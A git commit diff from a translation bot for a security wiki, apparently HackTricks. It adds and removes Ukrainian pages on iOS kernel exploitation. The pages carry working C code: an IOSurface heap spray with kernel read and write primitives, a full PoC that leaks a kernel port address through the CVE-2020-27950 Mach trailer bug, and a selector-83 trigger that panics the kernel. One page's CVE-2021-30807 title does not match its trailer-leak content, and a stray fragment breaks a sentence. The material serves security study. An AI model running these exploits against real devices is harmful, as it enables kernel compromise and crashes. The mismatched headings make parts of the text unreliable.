Translated ['src/network-services-pentesting/pentesting-smb/README.md',

This commit is contained in:
Translator 2025-09-26 01:05:40 +00:00
parent 36f3a426d1
commit b1f0318f03
26 changed files with 3098 additions and 1749 deletions

View File

@ -768,7 +768,7 @@
- [Stack Shellcode - arm64](binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md)
- [Stack Pivoting - EBP2Ret - EBP chaining](binary-exploitation/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md)
- [Uninitialized Variables](binary-exploitation/stack-overflow/uninitialized-variables.md)
- [ROP - Return Oriented Programing](binary-exploitation/rop-return-oriented-programing/README.md)
- [ROP and JOP](binary-exploitation/rop-return-oriented-programing/README.md)
- [BROP - Blind Return Oriented Programming](binary-exploitation/rop-return-oriented-programing/brop-blind-return-oriented-programming.md)
- [Ret2csu](binary-exploitation/rop-return-oriented-programing/ret2csu.md)
- [Ret2dlresolve](binary-exploitation/rop-return-oriented-programing/ret2dlresolve.md)
@ -838,7 +838,7 @@
- [WWW2Exec - \_\_malloc_hook & \_\_free_hook](binary-exploitation/arbitrary-write-2-exec/aw2exec-__malloc_hook.md)
- [Common Exploiting Problems](binary-exploitation/common-exploiting-problems.md)
- [Windows Exploiting (Basic Guide - OSCP lvl)](binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting.md)
- [iOS Exploiting](binary-exploitation/ios-exploiting/README.md)
# 🤖 AI
- [AI Security](AI/README.md)

View File

@ -1,207 +0,0 @@
# iOS Exploiting
{{#include ../banners/hacktricks-training.md}}
## Фізичне використання після звільнення
Це резюме з посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), крім того, додаткову інформацію про експлуатацію з використанням цієї техніки можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Управління пам'яттю в XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює діапазон від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**.
#### Рівні таблиць сторінок в iOS
Таблиці сторінок організовані ієрархічно на трьох рівнях:
1. **L1 Таблиця сторінок (Рівень 1)**:
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
* Вона охоплює **0x1000000000 байт** (або **256 ГБ**) віртуальної пам'яті.
2. **L2 Таблиця сторінок (Рівень 2)**:
* Запис тут представляє меншу область віртуальної пам'яті, а саме **0x2000000 байт** (32 МБ).
* Запис L1 може вказувати на таблицю L2, якщо не може відобразити весь регіон самостійно.
3. **L3 Таблиця сторінок (Рівень 3)**:
* Це найдрібніший рівень, де кожен запис відображає одну **4 КБ** сторінку пам'яті.
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
#### Відображення віртуальної пам'яті на фізичну
* **Пряме відображення (Блокове відображення)**:
* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на безперервний діапазон фізичних адрес (як скорочення).
* **Вказівник на дочірню таблицю сторінок**:
* Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
#### Приклад: Відображення віртуальної адреси
Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси **0x1000000000**:
1. **Таблиця L1**:
* Ядро перевіряє запис таблиці L1, що відповідає цій віртуальній адресі. Якщо він має **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
2. **Таблиця L2**:
* Ядро перевіряє таблицю L2 для більш детального відображення. Якщо цей запис вказує на **таблицю L3**, воно продовжує туди.
3. **Таблиця L3**:
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
#### Приклад відображення адреси
Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, тоді:
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображаються на фізичні адреси від **0x800004000** до **0x802004000**.
* Це **блокове відображення** на рівні L2.
Альтернативно, якщо запис L2 вказує на таблицю L3:
* Кожна 4 КБ сторінка у віртуальному адресному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
### Фізичне використання після звільнення
**Фізичне використання після звільнення** (UAF) відбувається, коли:
1. Процес **виділяє** деяку пам'ять як **читабельну та записувану**.
2. **Таблиці сторінок** оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ.
3. Процес **звільняє** пам'ять.
4. Однак, через **помилку**, ядро **забуває видалити відображення** з таблиць сторінок, хоча і позначає відповідну фізичну пам'ять як вільну.
5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, таких як **дані ядра**.
6. Оскільки відображення не було видалено, процес все ще може **читати та писати** в цю фізичну пам'ять.
Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику **маніпулювати пам'яттю ядра**.
### Стратегія експлуатації: Heap Spray
Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану **heap spray**:
1. Зловмисник **створює велику кількість об'єктів IOSurface** в пам'яті ядра.
2. Кожен об'єкт IOSurface містить **магічне значення** в одному з його полів, що полегшує його ідентифікацію.
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку.
4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для **читання та запису пам'яті ядра**.
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Покроковий процес Heap Spray
1. **Розпилення об'єктів IOSurface**: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення").
2. **Сканування звільнених сторінок**: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці.
3. **Читання/Запис пам'яті ядра**: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати **произвольні читання та записи** в пам'яті ядра. Це дозволяє їм:
* Використовувати одне поле для **читання будь-якого 32-бітного значення** в пам'яті ядра.
* Використовувати інше поле для **запису 64-бітних значень**, досягаючи стабільного **примітиву читання/запису ядра**.
Генерувати об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
}
```
Шукайте **`IOSurface`** об'єкти на одній звільненій фізичній сторінці:
```c
int iosurface_krw(io_connect_t client, uint64_t *puafPages, int nPages, uint64_t *self_task, uint64_t *puafPage) {
io_connect_t *surfaceIDs = malloc(sizeof(io_connect_t) * 0x4000);
int nSurfaceIDs = 0;
for (int i = 0; i < 0x400; i++) {
spray_iosurface(client, 10, &surfaceIDs, &nSurfaceIDs);
for (int j = 0; j < nPages; j++) {
uint64_t start = puafPages[j];
uint64_t stop = start + (pages(1) / 16);
for (uint64_t k = start; k < stop; k += 8) {
if (iosurface_get_pixel_format(k) == IOSURFACE_MAGIC) {
info.object = k;
info.surface = surfaceIDs[iosurface_get_alloc_size(k) - 1];
if (self_task) *self_task = iosurface_get_receiver(k);
goto sprayDone;
}
}
}
}
sprayDone:
for (int i = 0; i < nSurfaceIDs; i++) {
if (surfaceIDs[i] == info.surface) continue;
iosurface_release(client, surfaceIDs[i]);
}
free(surfaceIDs);
return 0;
}
```
### Досягнення читання/запису в ядрі з IOSurface
Після отримання контролю над об'єктом IOSurface в пам'яті ядра (відображеним на звільнену фізичну сторінку, доступну з простору користувача), ми можемо використовувати його для **произвольних операцій читання та запису в ядрі**.
**Ключові поля в IOSurface**
Об'єкт IOSurface має два важливих поля:
1. **Вказівник на кількість використань**: Дозволяє **32-бітне читання**.
2. **Вказівник на індексований часовий штамп**: Дозволяє **64-бітний запис**.
Перезаписуючи ці вказівники, ми перенаправляємо їх на произвольні адреси в пам'яті ядра, що дозволяє виконувати операції читання/запису.
#### 32-Бітне читання з ядра
Щоб виконати читання:
1. Перезапишіть **вказівник на кількість використань**, щоб він вказував на цільову адресу мінус зсув 0x14 байт.
2. Використовуйте метод `get_use_count`, щоб прочитати значення за цією адресою.
```c
uint32_t get_use_count(io_connect_t client, uint32_t surfaceID) {
uint64_t args[1] = {surfaceID};
uint32_t size = 1;
uint64_t out = 0;
IOConnectCallMethod(client, 16, args, 1, 0, 0, &out, &size, 0, 0);
return (uint32_t)out;
}
uint32_t iosurface_kread32(uint64_t addr) {
uint64_t orig = iosurface_get_use_count_pointer(info.object);
iosurface_set_use_count_pointer(info.object, addr - 0x14); // Offset by 0x14
uint32_t value = get_use_count(info.client, info.surface);
iosurface_set_use_count_pointer(info.object, orig);
return value;
}
```
#### 64-Бітний Запис Ядра
Щоб виконати запис:
1. Перезапишіть **індексований вказівник часу** на цільову адресу.
2. Використовуйте метод `set_indexed_timestamp`, щоб записати 64-бітне значення.
```c
void set_indexed_timestamp(io_connect_t client, uint32_t surfaceID, uint64_t value) {
uint64_t args[3] = {surfaceID, 0, value};
IOConnectCallMethod(client, 33, args, 3, 0, 0, 0, 0, 0, 0);
}
void iosurface_kwrite64(uint64_t addr, uint64_t value) {
uint64_t orig = iosurface_get_indexed_timestamp_pointer(info.object);
iosurface_set_indexed_timestamp_pointer(info.object, addr);
set_indexed_timestamp(info.client, info.surface, value);
iosurface_set_indexed_timestamp_pointer(info.object, orig);
}
```
#### Резюме потоку експлуатації
1. **Виклик фізичного використання після звільнення**: Вільні сторінки доступні для повторного використання.
2. **Розподіл об'єктів IOSurface**: Виділити багато об'єктів IOSurface з унікальним "магічним значенням" у пам'яті ядра.
3. **Визначити доступний IOSurface**: Знайти IOSurface на звільненій сторінці, якою ви керуєте.
4. **Зловживання використанням після звільнення**: Змінити вказівники в об'єкті IOSurface, щоб дозволити довільне **читання/запис ядра** через методи IOSurface.
З цими примітивами експлуатація забезпечує контрольовані **32-бітні читання** та **64-бітні записи** в пам'ять ядра. Подальші кроки джейлбрейка можуть включати більш стабільні примітиви читання/запису, які можуть вимагати обходу додаткових захистів (наприклад, PPL на новіших пристроях arm64e).
{{#include ../banners/hacktricks-training.md}}

View File

@ -0,0 +1,332 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## Уразливість
Є [great explanation of the vuln here](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak), але коротко:
Кожне Mach message, яке отримує kernel, закінчується **"trailer"**: структура змінної довжини з метаданими (seqno, sender token, audit token, context, access control data, labels...). Ядро **завжди резервує найбільший можливий trailer** (MAX_TRAILER_SIZE) в буфері повідомлення, але **ініціалізує тільки деякі поля**, а потім пізніше **вирішує, який розмір trailer повернути** на основі **опцій прийому, керованих користувачем**.
These are the trailer relevant structs:
```c
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
} mach_msg_trailer_t;
typedef struct{
mach_msg_trailer_type_t msgh_trailer_type;
mach_msg_trailer_size_t msgh_trailer_size;
mach_port_seqno_t msgh_seqno;
security_token_t msgh_sender;
audit_token_t msgh_audit;
mach_port_context_t msgh_context;
int msgh_ad;
msg_labels_t msgh_labels;
} mach_msg_mac_trailer_t;
#define MACH_MSG_TRAILER_MINIMUM_SIZE sizeof(mach_msg_trailer_t)
typedef mach_msg_mac_trailer_t mach_msg_max_trailer_t;
#define MAX_TRAILER_SIZE ((mach_msg_size_t)sizeof(mach_msg_max_trailer_t))
```
Тоді, коли trailer object генерується, ініціалізуються лише деякі поля, а max trailer size завжди резервується:
```c
trailer = (mach_msg_max_trailer_t *) ((vm_offset_t)kmsg->ikm_header + size);
trailer->msgh_sender = current_thread()->task->sec_token;
trailer->msgh_audit = current_thread()->task->audit_token;
trailer->msgh_trailer_type = MACH_MSG_TRAILER_FORMAT_0;
trailer->msgh_trailer_size = MACH_MSG_TRAILER_MINIMUM_SIZE;
[...]
trailer->msgh_labels.sender = 0;
```
Наприклад, при спробі прочитати mach message за допомогою `mach_msg()` викликається функція `ipc_kmsg_add_trailer()`, щоб додати trailer до повідомлення. Усередині цієї функції обчислюється розмір trailer і заповнюються деякі інші поля trailer:
```c
if (!(option & MACH_RCV_TRAILER_MASK)) { [3]
return trailer->msgh_trailer_size;
}
trailer->msgh_seqno = seqno;
trailer->msgh_context = context;
trailer->msgh_trailer_size = REQUESTED_TRAILER_SIZE(thread_is_64bit_addr(thread), option);
```
Параметр `option` керується користувачем, тому **необхідно передати значення, яке пройде перевірку `if`.**
Щоб пройти цю перевірку, потрібно надіслати допустимий підтримуваний `option`:
```c
#define MACH_RCV_TRAILER_NULL 0
#define MACH_RCV_TRAILER_SEQNO 1
#define MACH_RCV_TRAILER_SENDER 2
#define MACH_RCV_TRAILER_AUDIT 3
#define MACH_RCV_TRAILER_CTX 4
#define MACH_RCV_TRAILER_AV 7
#define MACH_RCV_TRAILER_LABELS 8
#define MACH_RCV_TRAILER_TYPE(x) (((x) & 0xf) << 28)
#define MACH_RCV_TRAILER_ELEMENTS(x) (((x) & 0xf) << 24)
#define MACH_RCV_TRAILER_MASK ((0xf << 24))
```
Але, оскільки `MACH_RCV_TRAILER_MASK` просто перевіряє біти, ми можемо передати будь-яке значення від `0` до `8`, щоб не потрапити всередину `if`-виразу.
Далі, продовжуючи з code, ви знайдете:
```c
if (GET_RCV_ELEMENTS(option) >= MACH_RCV_TRAILER_AV) {
trailer->msgh_ad = 0;
}
/*
* The ipc_kmsg_t holds a reference to the label of a label
* handle, not the port. We must get a reference to the port
* and a send right to copyout to the receiver.
*/
if (option & MACH_RCV_TRAILER_ELEMENTS(MACH_RCV_TRAILER_LABELS)) {
trailer->msgh_labels.sender = 0;
}
done:
#ifdef __arm64__
ipc_kmsg_munge_trailer(trailer, real_trailer_out, thread_is_64bit_addr(thread));
#endif /* __arm64__ */
return trailer->msgh_trailer_size;
```
Як бачите, якщо `option` більше або дорівнює `MACH_RCV_TRAILER_AV` (7), поле **`msgh_ad`** ініціалізується значенням `0`.
Якщо ви помітили, **`msgh_ad`** залишалося єдиним полем трейлера, яке раніше не було ініціалізоване і могло містити leak із раніше використаної пам'яті.
Отже, спосіб уникнути його ініціалізації — передати значення `option`, рівне `5` або `6`, щоб пройти першу перевірку `if` і не зайти в `if`, який ініціалізує `msgh_ad`, оскільки значення `5` і `6` не відповідають жодному типу трейлера.
### Базовий PoC
У [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) наведено PoC для простого leak деяких випадкових даних.
### PoC для Leak-адреси ядра
У [original post](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak) наведено PoC для leak адреси ядра. Для цього в повідомленні відправляється багато структур `mach_msg_port_descriptor_t`, оскільки поле `name` цієї структури в userland містить unsigned int, але в kernel поле `name` є вказівником на структуру `ipc_port`. Отже, відправлення десятків таких структур у повідомленні в kernel призведе до того, що **до повідомлення буде додано кілька kernel-адрес**, тож одну з них можна буде leak-нути.
Додано коментарі для кращого розуміння:
```c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <mach/mach.h>
// Number of OOL port descriptors in the "big" message.
// This layout aims to fit messages into kalloc.1024 (empirically good on impacted builds).
#define LEAK_PORTS 50
// "Big" message: many descriptors → larger descriptor array in kmsg
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS];
} message_big_t;
// "Small" message: fewer descriptors → leaves more room for the trailer
// to overlap where descriptor pointers used to be in the reused kalloc chunk.
typedef struct {
mach_msg_header_t header;
mach_msg_body_t body;
mach_msg_port_descriptor_t sent_ports[LEAK_PORTS - 10];
} message_small_t;
int main(int argc, char *argv[]) {
mach_port_t port; // our local receive port (target of sends)
mach_port_t sent_port; // the port whose kernel address we want to leak
/*
* 1) Create a receive right and attach a send right so we can send to ourselves.
* This gives us predictable control over ipc_kmsg allocations when we send.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
/*
* 2) Create another receive port (sent_port). We'll reference this port
* in OOL descriptors so the kernel stores pointers to its ipc_port
* structure in the kmsg → those pointers are what we aim to leak.
*/
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &sent_port);
mach_port_insert_right(mach_task_self(), sent_port, sent_port, MACH_MSG_TYPE_MAKE_SEND);
printf("[*] Will get port %x address\n", sent_port);
message_big_t *big_message = NULL;
message_small_t *small_message = NULL;
// Compute userland sizes of our message structs
mach_msg_size_t big_size = (mach_msg_size_t)sizeof(*big_message);
mach_msg_size_t small_size = (mach_msg_size_t)sizeof(*small_message);
// Allocate user buffers for the two send messages (+MAX_TRAILER_SIZE for safety/margin)
big_message = malloc(big_size + MAX_TRAILER_SIZE);
small_message = malloc(small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
/*
* 3) Prepare the "big" message:
* - Complex bit set (has descriptors)
* - 50 OOL port descriptors, all pointing to the same sent_port
* When you send a Mach message with port descriptors, the kernel “copy-ins” the userland port names (integers in your processs IPC space) into an in-kernel ipc_kmsg_t, and resolves each name to the actual kernel object (an ipc_port).
* Inside the kernel message, the header/descriptor area holds object pointers, not user names. On the way out (to the receiver), XNU “copy-outs” and converts those pointers back into names. This is explicitly documented in the copyout path: “the remote/local port fields contain port names instead of object pointers” (meaning they were pointers in-kernel).
*/
printf("[*] Creating first kalloc.1024 ipc_kmsg\n");
memset(big_message, 0, big_size + MAX_TRAILER_SIZE);
big_message->header.msgh_remote_port = port; // send to our receive right
big_message->header.msgh_size = big_size;
big_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
big_message->body.msgh_descriptor_count = LEAK_PORTS;
for (int i = 0; i < LEAK_PORTS; i++) {
big_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
big_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
big_message->sent_ports[i].name = sent_port; // repeated to fill array with pointers
}
/*
* 4) Prepare the "small" message:
* - Fewer descriptors (LEAK_PORTS-10) so that, when the kalloc.1024 chunk is reused,
* the trailer sits earlier and *overlaps* bytes where descriptor pointers lived.
*/
printf("[*] Creating second kalloc.1024 ipc_kmsg\n");
memset(small_message, 0, small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE);
small_message->header.msgh_remote_port = port;
small_message->header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0)
| MACH_MSGH_BITS_COMPLEX;
small_message->body.msgh_descriptor_count = LEAK_PORTS - 10;
for (int i = 0; i < LEAK_PORTS - 10; i++) {
small_message->sent_ports[i].type = MACH_MSG_PORT_DESCRIPTOR;
small_message->sent_ports[i].disposition = MACH_MSG_TYPE_COPY_SEND;
small_message->sent_ports[i].name = sent_port;
}
/*
* 5) Receive buffer for reading back messages with trailers.
* We'll request a *max-size* trailer via MACH_RCV_TRAILER_ELEMENTS(5).
* On vulnerable kernels, field `msgh_ad` (in mac trailer) may be left uninitialized
* if the requested elements value is < MACH_RCV_TRAILER_AV, causing stale bytes to leak.
*/
uint8_t *buffer = malloc(big_size + MAX_TRAILER_SIZE);
mach_msg_mac_trailer_t *trailer; // interpret the tail as a "mac trailer" (format 0 / 64-bit variant internally)
uintptr_t sent_port_address = 0; // we'll build the 64-bit pointer from two 4-byte leaks
/*
* ---------- Exploitation sequence ----------
*
* Step A: Send the "big" message → allocate a kalloc.1024 ipc_kmsg that contains many
* kernel pointers (ipc_port*) in its descriptor array.
*/
printf("[*] Sending message 1\n");
mach_msg(&big_message->header,
MACH_SEND_MSG,
big_size, // send size
0, // no receive
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step B: Immediately receive/discard it with a zero-sized buffer.
* This frees the kalloc chunk without copying descriptors back,
* leaving the kernel pointers resident in freed memory (stale).
*/
printf("[*] Discarding message 1\n");
mach_msg((mach_msg_header_t *)0,
MACH_RCV_MSG, // try to receive
0, // send size 0
0, // recv size 0 (forces error/free path)
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step C: Reuse the same size-class with the "small" message (fewer descriptors).
* We slightly bump msgh_size by +4 so that when the kernel appends
* the trailer, the trailer's uninitialized field `msgh_ad` overlaps
* the low 4 bytes of a stale ipc_port* pointer from the prior message.
*/
small_message->header.msgh_size = small_size + sizeof(uint32_t); // +4 to shift overlap window
printf("[*] Sending message 2\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
/*
* Step D: Receive message 2 and request an invalid trailer elements value (5).
* - Bits 24..27 (MACH_RCV_TRAILER_MASK) are nonzero → the kernel computes a trailer.
* - Elements=5 doesn't match any valid enum → REQUESTED_TRAILER_SIZE(...) falls back to max size.
* - BUT init of certain fields (like `ad`) is guarded by >= MACH_RCV_TRAILER_AV (7),
* so with 5, `msgh_ad` remains uninitialized → stale bytes leak.
*/
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 2\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5), // core of CVE-2020-27950
0,
small_size + sizeof(uint32_t) + MAX_TRAILER_SIZE, // ensure room for max trailer
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
// Trailer begins right after the message body we sent (small_size + 4)
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t));
// Leak low 32 bits from msgh_ad (stale data → expected to be the low dword of an ipc_port*)
sent_port_address |= (uint32_t)trailer->msgh_ad;
/*
* Step E: Repeat the A→D cycle but now shift by another +4 bytes.
* This moves the overlap window so `msgh_ad` captures the high 4 bytes.
*/
printf("[*] Sending message 3\n");
mach_msg(&big_message->header, MACH_SEND_MSG, big_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
printf("[*] Discarding message 3\n");
mach_msg((mach_msg_header_t *)0, MACH_RCV_MSG, 0, 0, port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
// add another +4 to msgh_size → total +8 shift from the baseline
small_message->header.msgh_size = small_size + sizeof(uint32_t)*2;
printf("[*] Sending message 4\n");
mach_msg(&small_message->header,
MACH_SEND_MSG,
small_size + sizeof(uint32_t)*2,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
memset(buffer, 0, big_size + MAX_TRAILER_SIZE);
printf("[*] Reading back message 4\n");
mach_msg((mach_msg_header_t *)buffer,
MACH_RCV_MSG | MACH_RCV_TRAILER_ELEMENTS(5),
0,
small_size + sizeof(uint32_t)*2 + MAX_TRAILER_SIZE,
port,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
trailer = (mach_msg_mac_trailer_t *)(buffer + small_size + sizeof(uint32_t)*2);
// Combine the high 32 bits, reconstructing the full 64-bit kernel pointer
sent_port_address |= ((uintptr_t)trailer->msgh_ad) << 32;
printf("[+] Port %x has address %lX\n", sent_port, sent_port_address);
return 0;
}
```
## Посилання
- [Публікація Synacktiv](https://www.synacktiv.com/en/publications/ios-1-day-hunting-uncovering-and-exploiting-cve-2020-27950-kernel-memory-leak)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -0,0 +1,297 @@
# CVE-2021-30807: IOMobileFrameBuffer OOB
{{#include ../../banners/hacktricks-training.md}}
## The Bug
Є [чудове пояснення vuln тут](https://saaramar.github.io/IOMobileFrameBuffer_LPE_POC/), але коротко:
- Уразливий шлях виконання — **external method #83** user client'а **IOMobileFramebuffer / AppleCLCD**: `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`. Ця функція отримує параметр, контрольований користувачем, який ніяк не перевіряється і передається в наступну функцію як **`scalar0`**.
- Та функція викликає **`IOMobileFramebufferLegacy::get_displayed_surface(this, task*, out_id, scalar0)`**, де **`scalar0`** (керований користувачем **32-bit** значення) використовується як **index** в внутрішньому **array of pointers** без **any bounds check**:
> `ptr = *(this + 0xA58 + scalar0 * 8);` → передається в `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)` як **`IOSurface*`**.\
> **Result:** **OOB pointer read & type confusion** в цьому масиві. Якщо вказівник недійсний, дереф ядра панікує → **DoS**.
> [!NOTE]
> This was fixed in **iOS/iPadOS 14.7.1**, **macOS Big Sur 11.5.1**, **watchOS 7.6.1**
> [!WARNING]
> The initial function to call `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)` is protected by the entitlement **`com.apple.private.allow-explicit-graphics-priority`**. However, **WebKit.WebContent** has this entitlement, so it can be used to trigger the vuln from a sandboxed process.
## DoS PoC
Нижче наведено початковий DoS PoC з оригінального блог-поста з додатковими коментарями:
```c
// PoC for CVE-2021-30807 trigger (annotated)
// NOTE: This demonstrates the crash trigger; it is NOT an LPE.
// Build/run only on devices you own and that are vulnerable.
// Patched in iOS/iPadOS 14.7.1, macOS 11.5.1, watchOS 7.6.1. (Apple advisory)
// https://support.apple.com/en-us/103144
// https://nvd.nist.gov/vuln/detail/CVE-2021-30807
void trigger_clcd_vuln(void) {
kern_return_t ret;
io_connect_t shared_user_client_conn = MACH_PORT_NULL;
// The "type" argument is the type (selector) of user client to open.
// For IOMobileFramebuffer, 2 typically maps to a user client that exposes the
// external methods we need (incl. selector 83). If this doesn't work on your
// build, try different types or query IORegistry to enumerate.
int type = 2;
// 1) Locate the IOMobileFramebuffer service in the IORegistry.
// This returns the first matched service object (a kernel object handle).
io_service_t service = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOMobileFramebuffer"));
if (service == MACH_PORT_NULL) {
printf("failed to open service\n");
return;
}
printf("service: 0x%x\n", service);
// 2) Open a connection (user client) to the service.
// The user client is what exposes external methods to userland.
// 'type' selects which user client class/variant to instantiate.
ret = IOServiceOpen(service, mach_task_self(), type, &shared_user_client_conn);
if (ret != KERN_SUCCESS) {
printf("failed to open userclient: %s\n", mach_error_string(ret));
return;
}
printf("client: 0x%x\n", shared_user_client_conn);
printf("call externalMethod\n");
// 3) Prepare input scalars for the external method call.
// The vulnerable path uses a 32-bit scalar as an INDEX into an internal
// array of pointers WITHOUT bounds checking (OOB read / type confusion).
// We set it to a large value to force the out-of-bounds access.
uint64_t scalars[4] = { 0x0 };
scalars[0] = 0x41414141; // **Attacker-controlled index** → OOB pointer lookup
// 4) Prepare output buffers (the method returns a scalar, e.g. a surface ID).
uint64_t output_scalars[4] = { 0 };
uint32_t output_scalars_size = 1;
printf("call s_default_fb_surface\n");
// 5) Invoke external method #83.
// On vulnerable builds, this path ends up calling:
// IOMobileFramebufferUserClient::s_displayed_fb_surface(...)
// → IOMobileFramebufferLegacy::get_displayed_surface(...)
// which uses our index to read a pointer and then passes it as IOSurface*.
// If the pointer is bogus, IOSurface code will dereference it and the kernel
// will panic (DoS).
ret = IOConnectCallMethod(
shared_user_client_conn,
83, // **Selector 83**: vulnerable external method
scalars, 1, // input scalars (count = 1; the OOB index)
NULL, 0, // no input struct
output_scalars, &output_scalars_size, // optional outputs
NULL, NULL); // no output struct
// 6) Check the call result. On many vulnerable targets, you'll see either
// KERN_SUCCESS right before a panic (because the deref happens deeper),
// or an error if the call path rejects the request (e.g., entitlement/type).
if (ret != KERN_SUCCESS) {
printf("failed to call external method: 0x%x --> %s\n",
ret, mach_error_string(ret));
return;
}
printf("external method returned KERN_SUCCESS\n");
// 7) Clean up the user client connection handle.
IOServiceClose(shared_user_client_conn);
printf("success!\n");
}
```
## Arbitrary Read PoC Explained
1. **Opening the right user client**
- `get_appleclcd_uc()` знаходить сервіс **AppleCLCD** і відкриває **user client type 2**. AppleCLCD та IOMobileFramebuffer ділять ту саму таблицю external-methods; type 2 відкриває доступ до **selector 83**, вразливого методу. **Це ваш вхід до бага.** E_POC/)
**Why 83 matters:** decompiled шлях такий:
- `IOMobileFramebufferUserClient::s_displayed_fb_surface(...)`\
`IOMobileFramebufferUserClient::get_displayed_surface(...)`\
`IOMobileFramebufferLegacy::get_displayed_surface(...)`\
Всередині останнього виклику код **використовує ваш 32-біт scalar як індекс масиву без перевірки меж**, бере вказівник з **`this + 0xA58 + index*8`**, і **передає його як `IOSurface*`** до `IOSurfaceRoot::copyPortNameForSurfaceInTask(...)`. **Ось OOB + type confusion.**
2. **The heap spray (why IOSurface shows up here)**
- `do_spray()` використовує **`IOSurfaceRootUserClient`**, щоб **створити багато IOSurface** і **розпорошити малі значення** (стиль `s_set_value`). Це заповнює сусідні kernel heaps **вказівниками на валідні IOSurface об'єкти**.
